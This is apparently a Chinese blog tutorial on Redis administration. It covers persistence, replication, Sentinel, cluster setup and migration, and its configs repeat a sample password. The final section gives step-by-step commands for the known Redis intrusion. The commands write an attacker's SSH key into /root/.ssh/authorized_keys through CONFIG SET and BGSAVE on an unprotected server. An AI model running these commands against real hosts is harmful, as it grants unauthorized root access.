#  默认情况下,“ Hz ”的被设定为 10 。
#  提高该值将在 Redis 空闲时使用更多的 CPU 时,但同时当有多个 key 同时到期会使 Redis 的反应更灵敏,以及超时可以更精确地处理。
#  范围是 1 到 500 之间,但是值超过 100 通常不是一个好主意。
#  大多数用户应该使用 10 这个预设值,只有在非常低的延迟的情况下有必要提高最大到 100 。
hz 10  
#  当一个子节点重写 AOF 文件时,如果启用下面的选项,则文件每生成 32M 数据进行同步。
aof-rewrite-incremental-fsync yes

八、数据持久化

1、持久化类型

  • RDB (Redis Database): RDB持久化以指定的时间间隔执行数据集的时间点快照

  • AOF(Append Only File): AOF持久化记录服务器收到的每个写操作,这些操作将在服务器启动时再次执行,重建原始数据集。命令使用与Redis协议本身相同的格式以仅附加的方式记录。当日志变得太大时,Redis能够在后台重写日志

  • RDB + AOF: 可以在同一个实例中组合AOF和RDB。在这种情况下,当Redis重新启动时,将使用AOF文件来重建原始数据集,因为它保证是最完整的。Redis会优先读取AOF文件

2、RDB与AOF的优劣势

  • RDB优劣势

    优点:RDB 最大限度地提高了 Redis 的性能,因为 Redis 父进程为了持久化需要做的唯一工作是派生一个将完成所有其余工作的子进程。 父实例永远不会执行磁盘 I/O 或类似操作。与 AOF 相比,RDB 允许更快地重新启动大数据集。在副本上,RDB 支持重启和故障转移后的部分重新同步

    缺点:如果redis异常停止,那使用RDB持久化数据可能会丢失。RDB经常需要fork()以便使用子进程持久化。 如果数据集很大,Fork()可能会很耗时,如果数据集很大且CPU性能不好,可能会导致Redis停止几毫秒甚至一秒钟。

  • AOF优劣势

    优点:AOF能最大程度的使数据持久化,具有多种fsync策略,默认为每秒fsync策略,最多丢失一秒的写入数据。AOF日志是仅附加日志,因此在断电时不会出现寻道或损坏问题。即使日志由于某种原因以半写命令结束,redis-check-aof工具也能够轻松修复它(redis-check-aof工具慎用,修复方式非常粗暴,从出错的地方到最后全部删除)

    缺点:AOF文件通常比相同数据集的等效RDB文件大。AOF可能比RDB慢,主要取决于fsync策略。在特定命令中会出现错误,导致生成的AOF在重新加载时无法重现完全相同的数据集(例如BRPOPLPUSH这样的阻塞命令)

  • RDB持久化流程图

  • AOF持久化流程图

3、配置RDB持久化

save 900 1
save 300 10
save 60 10000
dbfilename redis.rdb
dir /data/redis/

没配置save参数时:
1.shutdown/kill都不会持久化保存
2.可以手动执行bgsave

配置save参数时:
1.shutdown/pkill/kill均会自动触发bgsave持久化保存数据
2.pkill -9 不会触发持久化

恢复时:
1.持久化数据文件名要和配置文件里定义的一样才能被识别
2.RDB文件只有一个数据文件,迁移和备份只要这一个RDB文件即可

注意:
RDB高版本兼容低版本,低版本不能兼容高版本
3.x >> 5.X >> OK 
5.x >> 3.x >> NoOK 

4、配置AOF持久化

appendonly yes
appendfilename "redis.aof"
appendfsync everysec

5、如果设置了过期时间,恢复数据后会如何处理?

AOF文件会记录下过期时间。恢复的时候会去对比过期时间和当前时间,如果超过了,就删除key。key的过期时间不受备份影响

九、主从复制

1、主从复制流程

  • 从节点发送同步请求到主节点

  • 主节点接收到从节点的请求之后,做了如下操作

    • 立即执行bgsave将当前内存里的数据持久化到磁盘上

      • 持久化完成之后,将rdb文件发送给从节点
  • 从节点从主节点接收到rdb文件之后,做了如下操作

    • 清空自己的数据
    • 载入从主节点接收的rdb文件到自己的内存里
  • 实时同步从节点数据

2、部署主从复制

  • 在两台主机上进行标题五操作

  • 设置主从复制

    方法1:临时生效

$ redis-cli -h 10.81.0.52 SLAVEOF 10.81.0.51 6379
    方法2:修改配置文件永久生效
SLAVEOF 10.81.0.51 6379
  • 检查复制进度
$ redis-cli info replication
$ redis-cli role
  • 取消复制
SLAVEOF no one

3、主从复制注意事项

  • 从节点只读不可写
  • 从节点不会自动故障转移,他会一直尝试同步主节点,并且依然不可写
  • 主从复制故障转移需要介入的地方
    • 修改代码指向新主的IP
    • 从节点需要执行slaveof no one
  • 从库建立同步时会清空自己的数据,如果同步对象写错了,就清空了
  • 从库也可以正常的RDB持久化

十、Redis Sentinel(哨兵)

哨兵模式主要解决主从复制需要人为干预的问题,提供了自动的高可用方案

1、Sentinel工作流程

  • Sentinel 会不断检查主实例和副本实例是否按预期工作。
  • 主节点挂掉,Sentinel 会在副本节点中选举新的主节点,使用Redis服务器的应用程序被告知连接时要使用的新地址
  • 在新主节点上执行slaveof no one
  • 在从节点执行slave of 新主节点
  • 自动更新哨兵配置
  • 自动更新从节点配置

2、Sentinel基础知识

  • 至少需要三个 Sentinel 实例才能进行部署
  • 应将三个 Sentinel 实例放置在单独的主机中
  • Sentinel + Redis 分布式系统不保证在故障期间保留已确认的写入,因为 Redis 使用异步复制。但是有一些部署 Sentinel 的方法可以使丢失写入的窗口限制在某些时刻
  • Sentinel 充当客户端服务发现的权威来源:客户端连接到 Sentinel 以请求当前 Redis 主节点的地址。 如果发生故障转移,Sentinels 将报告新地址。

3、部署步骤

  • 使用三台主机部署一主两从(参考主从部署)

  • 三台主机部署redis-sentinel

    • 创建配置文件
    $ cat > /usr/local/redis/conf/sentinel.conf < 'EOF'
    bind ***.***.***.***
    port 26379
    daemonize yes
    logfile /usr/local/redis/logs/sentinel.log
    dir /data/redis_sentinel
    #设置监控master节点,需要2个哨兵一致确认,才认定master挂掉
    sentinel monitor myredis 10.81.0.51 6379 2
    #进行密钥认证
    sentinel auth-pass myredis z8_UX7BCi_XYckrM
    #master节点在多少毫秒内未响应,认定为down
    sentinel down-after-milliseconds myredis 30000
    #向主节点发给复制操作的从节点个数,1表示轮训发起复制
    sentinel parallel-syncs myredis 1
    #故障转移超时时间
    sentinel failover-timeout myredis 180000
    EOF
    
    • 创建工作目录并授权
    $ mkdir redis_sentinel
    $ chown -R redis. /data/redis_sentinel
    
    • 设置systemd管理
    $ cat >/etc/systemd/system/redis-sentinel.service <'EOF'
    [Unit]
    Description=Redis persistent key-value database
    After=network.target
    After=network-online.target
    Wants=network-online.target
    
    [Service]
    ExecStart=/usr/local/redis/bin/redis-sentinel /usr/local/redis/conf/sentinel.conf --supervised systemd
    ExecStop=/usr/local/redis/bin/redis-cli -h ***.***.***.*** -p 26379 shutdown
    Type=notify
    User=redis
    Group=redis
    RuntimeDirectory=redis
    RuntimeDirectoryMode=0755
    
    [Install]
    WantedBy=multi-user.target
    EOF
    $ systemctl daemon-reload
    $ systemctl start redis-sentinel
    $ systemctl enable redis-sentinel
    
    • 检查验证
    $ redis-cli -h 10.81.0.51 -p 26379 info Sentinel
    
    • 注意事项
    1.哨兵发起故障转移的条件是master节点失去联系,从节点挂掉不会发起故障转移
    2.哨兵会自己维护配置文件,不需要手动修改
    3.如果主从的结构发生变化,哨兵之间会自动同步最新的消息并且自动更新配置文件
    4.哨兵启动完成之后,以后不要再自己去设置主从关系
    

十一、Redis集群

Redis 集群是 Redis 提供的分布式数据库方案,集群通过分片( sharding )来实现数据共享,并提供复制和故障转移。

1、集群tcp端口

每个Redis Cluster节点都需要打开两个TCP连接。  6379为客户端提供服务的普通Redis TCP端口,以及16379为集群总线端口,集群总线端口将通过将 10000 添加到数据端口或通过使用集群端口配置覆盖它来生成。

集群总线端口用于节点到节点通信通道。节点使用集群总线进行故障检测、配置更新、故障转移授权等,请确保在防火墙中打开这两个端口,否则 Redis 集群节点将无法通信。

2、Redis集群数据分片

Redis集群不使用一致性哈希,而是使用不同形式的分片。Redis集群中有16384个哈希槽,所有的槽都必须被正确分配,哪怕有1个槽不正常,整个集群都不可用。每个槽被分配到数据的概率是大致相当的,集群节点之间槽位的数量允许在2%的误差范围内。

Redis 集群中的每个节点都负责哈希槽的一个子集,以三个节点集群为例:

  • 节点 A 包含从 0 到 5500 的哈希槽

  • 节点 B 包含从 5501 到 11000 的哈希槽

  • 节点 C 包含从 11001 到 16383 的哈希槽

使用哈希槽允许在集群中轻松添加和删除节点,因为将哈希槽从一个节点移动到另一个节点不需要停机操作

3、Redis集群主副本模型

为了在主节点子集出现故障或无法与大多数节点通信时保持可用,Redis 集群使用主副本模型。

在创建集群时,我们向每个主节点添加一个副本节点,集群由作为主节点的 A、B、C 和作为副本节点的 A1、B1、C1 组成。这样如果节点A、B、C其中一个或多个出现故障,系统都能够继续运行

图片.png

4、部署步骤

部署集群为三主三副本集群

  • 六台主机按单机部署流程部署服务

  • 六台主机修改配置文件

    $ cat > /usr/local/redis-5.0.7/conf/redis.conf <'EOF'
    daemonize yes
    pidfile /var/run/redis.pid
    port 6379
    tcp-backlog 511
    timeout 0
    tcp-keepalive 0
    loglevel notice
    logfile "/usr/local/redis-5.0.7/logs/redis.log"
    databases 16
    save 900 1
    save 300 10
    save 60 10000
    stop-writes-on-bgsave-error yes
    rdbcompression yes
    rdbchecksum yes
    dbfilename dump.rdb
    dir /data/redis
    slave-serve-stale-data yes
    slave-read-only yes
    repl-disable-tcp-nodelay no
    slave-priority 100
    appendonly no
    appendfilename "appendonly.aof"
    appendfsync everysec
    no-appendfsync-on-rewrite no
    auto-aof-rewrite-percentage 100
    auto-aof-rewrite-min-size 64mb
    lua-time-limit 5000
    slowlog-log-slower-than 10000
    slowlog-max-len 128
    notify-keyspace-events ""
    hash-max-ziplist-entries 512
    hash-max-ziplist-value 64
    list-max-ziplist-entries 512
    list-max-ziplist-value 64
    set-max-intset-entries 512
    zset-max-ziplist-entries 128
    zset-max-ziplist-value 64
    hll-sparse-max-bytes 3000
    activerehashing yes
    client-output-buffer-limit normal 0 0 0
    client-output-buffer-limit slave 256mb 64mb 60
    client-output-buffer-limit pubsub 32mb 8mb 60
    hz 10
    aof-rewrite-incremental-fsync yes
    bind 0.0.0.0
    requirepass z8_UX7BCi_XYckrM
    masterauth z8_UX7BCi_XYckrM
    cluster-enabled yes
    cluster-config-file nodes.conf
    cluster-node-timeout 15000
    EOF
    $ systemctl restart redis
    
  • 在其中一台主机执行创建集群命令

    $ redis-cli --cluster create 10.81.0.51:6379 10.81.0.52:6379 10.81.0.53:6379 10.81.0.54:6379 10.81.0.55:6379 10.81.0.56:6379 --cluster-replicas 1 -a z8_UX7BCi_XYckrM
    
  • 查看集群信息

    $ redis-cli CLUSTER nodes
    

5、集群配置参数详解

  • cluster-enabled :设置该实例是否启动集群
  • cluster-config-file :这是一个用户不可编辑的配置文件,是一个Redis Cluster节点在每次有变化时自动将集群配置持久化的文件,以便能够在启动时重新阅读它。 该文件列出了集群中的其他节点的状态、持久变量等内容。由于某些消息接收,此文件通常会被重写并刷新到磁盘上
  • cluster-node-timeout :Redis集群节点不可用且不被视为失败的最长时间。 如果主节点无法访问的时间超过指定的时间,它将由其副本进行故障转移。在指定的时间内无法访问大多数主节点的每个节点都将停止接受查询
  • cluster-slave-validity-factor :如果设置为0,副本将始终认为自己有效,因此将始终尝试对主服务器进行故障转移,无论主服务器和副本之间的链接保持断开连接的时间长短。 如果值为正,则最大断开时间计算为节点超时值乘以参数提供的因子,如果节点是副本,如果主站链接断开的时间超过了指定的时间,它将不会尝试启动故障转移。例如,如果节点超时设置为 5 秒且有效性因子设置为10,则与主服务器断开连接超过 50 秒的副本将不会尝试对其主服务器进行故障转移。如果没有能够对其进行故障转移的副本,则任何非零值都可能导致 Redis 集群在主节点故障后不可用
  • cluster-migration-barrier :主节点保持连接的最小副本数,以便另一个副本迁移到不再被任何副本覆盖的主节点
  • cluster-require-full-coverage :如果将其设置为yes(默认情况下),如果某个百分比的key空间未被任何节点覆盖,则集群将停止接受写入。 如果该选项设置为 no,即使只能处理有关key子集的请求,集群仍将提供查询服务
  • cluster-allow-reads-when-down :如果将此设置为no(默认情况下),当集群被标记为失败时,Redis集群中的节点将停止为所有流量提供服务,这可以防止从不知道集群中的变化的节点读取潜在的不一致数据。此选项设置为yes,允许在故障状态期间从节点读取,这对于希望优先考虑读取可用性但仍希望防止不一致写入的应用程序非常有用。允许节点在主节点发生故障但无法自动故障转移时继续提供写入服务。

6、集群扩缩容节点

  • 扩容主节点

    • 部署好redis服务
    • 使用命令加入集群
    $ redis-cli --cluster add-node 10.81.0.57:6379 10.81.0.51:6379
    
    • 为新节点重新分片
    $ redis-cli --cluster reshard : --cluster-from all --cluster-to  --cluster-slots  --cluster-yes
    
  • 扩容副本节点

    • 部署好redis服务
    • 使用命令添加指定主节点的副本节点
    $ redis-cli --cluster add-node 10.81.0.57:6379 10.81.0.51:6379 --cluster-slave --cluster-master-id 3c3a0c74aae0b56170ccb03a76b60cfe7dc1912e
    
  • 缩容节点

    删除节点必须为空节点,否则要先迁移槽位

    • 迁移槽位
    $ redis-cli --cluster rebalance 10.81.0.51:6379 --cluster-weight <删除主机的node-id>=0
    
    • 删除节点
    $ redis-cli --cluster del-node : <删除主机的node-id>
    

7、Redis Cluster常用命令

  • 集群(cluster)

    CLUSTER INFO 打印集群的信息
    CLUSTER NODES 列出集群当前已知的所有节点(node),以及这些节点的相关信息。 
    CLUSTER MEET   将 ip 和 port 所指定的节点添加到集群当中,让它成为集群的一份子。
    CLUSTER FORGET  从集群中移除 node_id 指定的节点。
    CLUSTER REPLICATE  将当前节点设置为 node_id 指定的节点的从节点。
    CLUSTER SAVECONFIG 将节点的配置文件保存到硬盘里面。
    
  • 槽(slot)

    CLUSTER ADDSLOTS  [slot ...] 将一个或多个槽(slot)指派(assign)给当前节点。
    CLUSTER DELSLOTS  [slot ...] 移除一个或多个槽对当前节点的指派。
    CLUSTER FLUSHSLOTS 移除指派给当前节点的所有槽,让当前节点变成一个没有指派任何槽的节点。
    CLUSTER SETSLOT  NODE  将槽 slot 指派给 node_id 指定的节点,如果槽已经指派给另一个节点,那么先让另一个节点删除该槽>,然后再进行指派。
    CLUSTER SETSLOT  MIGRATING  将本节点的槽 slot 迁移到 node_id 指定的节点中。
    CLUSTER SETSLOT  IMPORTING  从 node_id 指定的节点中导入槽 slot 到本节点。
    CLUSTER SETSLOT  STABLE 取消对槽 slot 的导入(import)或者迁移(migrate)。 
    
  • 键 (key)

    CLUSTER KEYSLOT  计算键 key 应该被放置在哪个槽上。
    CLUSTER COUNTKEYSINSLOT  返回槽 slot 目前包含的键值对数量。
    CLUSTER GETKEYSINSLOT   返回 count 个 slot 槽中的键。
    

十二、使用redis-cli数据迁移

4.x以前的数据迁移使用第三方工具

https://github.com/vipshop/redis-migrate-tool

不加copy参数相当于mv,老数据迁移完成后就删掉了

$ redis-cli --cluster import 10.0.0.51:6380 --cluster-from 10.0.0.51:6379

加了copy参数相当于cp,老数据迁移完成后会保留

redis-cli --cluster import 10.0.0.51:6380 --cluster-from 10.0.0.51:6379 --cluster-copy

添加replace参数会覆盖掉同名的key,如果不添加遇到同名的key会提示冲突,对新集群新增加的数据不受影响

redis-cli --cluster import 10.0.0.51:6380 --cluster-from 10.0.0.51:6379 --cluster-copy --cluster-replace

Tips:当前被导入节点的所有数据,类似于快照导入,对于后面再写入的数据不会迁移更新

十三、利用Redis远程入侵Linux

  • 背景条件

    1.redis以root用户运行
    2.redis允许远程登陆
    3.redis没有设置密码或者密码简单

  • 入侵原理

    1.本质是利用了redis的热更新配置,可以动态的设置数据持久化的路径和持久化文件名称
    2.首先攻击者可以远程登陆redis,然后将攻击者的ssh公钥当作一个key存入redis里
    3.利用动态修改配置,将持久化目录保存成/root/.ssh
    4.利用动态修改配置,将持久化文件名更改为authorized_keys
    5.执行数据保存命令,这样就会在生成/root/,ssh/authorized_keys文件
    6.而这个文件里包含了攻击者的密钥,所以此时攻击者可以免密登陆远程的服务器了

  • 操作方式

    • 生成密钥

      $ ssh-keygen
      
    • 将密钥保存成文件

      $ (echo -e "\n";cat /root/.ssh/id_rsa.pub ;echo -e "\n") > ssh_key
      
    • 将密钥写入redis

      $ cat ssh_key |redis-cli -h 10.81.0.51 -x set ssh_key
      
    • 登陆redis动态修改配置并保存

      $ redis-cli -h 10.81.0.51
      > CONFIG set dir /root/.ssh
      > CONFIG set dbfilename authorized_keys
      > BGSAVE
      
    • 测试远程登录目标主机

你可能感兴趣的:(Redis)